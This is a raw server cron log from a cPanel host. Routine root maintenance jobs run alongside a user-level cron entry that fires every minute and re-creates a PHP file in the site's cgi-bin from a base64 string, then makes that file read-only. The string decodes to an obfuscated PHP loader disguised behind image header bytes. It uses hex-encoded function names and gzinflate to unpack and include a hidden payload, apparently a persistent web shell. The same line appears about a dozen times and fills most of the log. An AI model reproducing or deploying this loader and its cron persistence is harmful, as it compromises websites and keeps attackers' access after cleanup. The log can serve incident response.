Sep  9 07:38:01 server CROND[1719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:39:01 server CROND[2127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:39:01 server CROND[2128]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 07:39:01 server CROND[2129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:39:01 server CROND[2126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:40:01 server CROND[2516]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 07:40:01 server CROND[2518]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 07:40:01 server CROND[2523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:40:01 server CROND[2524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:40:01 server CROND[2522]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:40:01 server CROND[2525]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 07:40:01 server CROND[2521]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:40:01 server CROND[2526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:41:01 server CROND[3471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:41:01 server CROND[3473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:41:01 server CROND[3472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:42:01 server CROND[3848]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 07:42:01 server CROND[3847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:42:01 server CROND[3850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:42:01 server CROND[3846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:43:01 server CROND[4221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:43:01 server CROND[4220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:43:01 server CROND[4222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:44:01 server CROND[4592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:44:01 server CROND[4593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:44:01 server CROND[4594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:45:01 server CROND[4969]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 07:45:01 server CROND[4970]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:45:01 server CROND[4973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:45:01 server CROND[4976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:45:01 server CROND[4975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:45:01 server CROND[4972]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 07:45:01 server CROND[4977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:46:01 server CROND[5898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:46:01 server CROND[5899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:46:01 server CROND[5902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:47:01 server CROND[6280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:47:01 server CROND[6281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:47:01 server CROND[6279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:48:01 server CROND[6649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:48:01 server CROND[6650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:48:01 server CROND[6651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:49:01 server CROND[7041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:49:01 server CROND[7042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:49:01 server CROND[7043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 07:50:01 server CROND[7434]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 07:50:01 server CROND[7436]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 07:50:01 server CROND[7438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:50:01 server CROND[7439]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:50:01 server CROND[7442]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
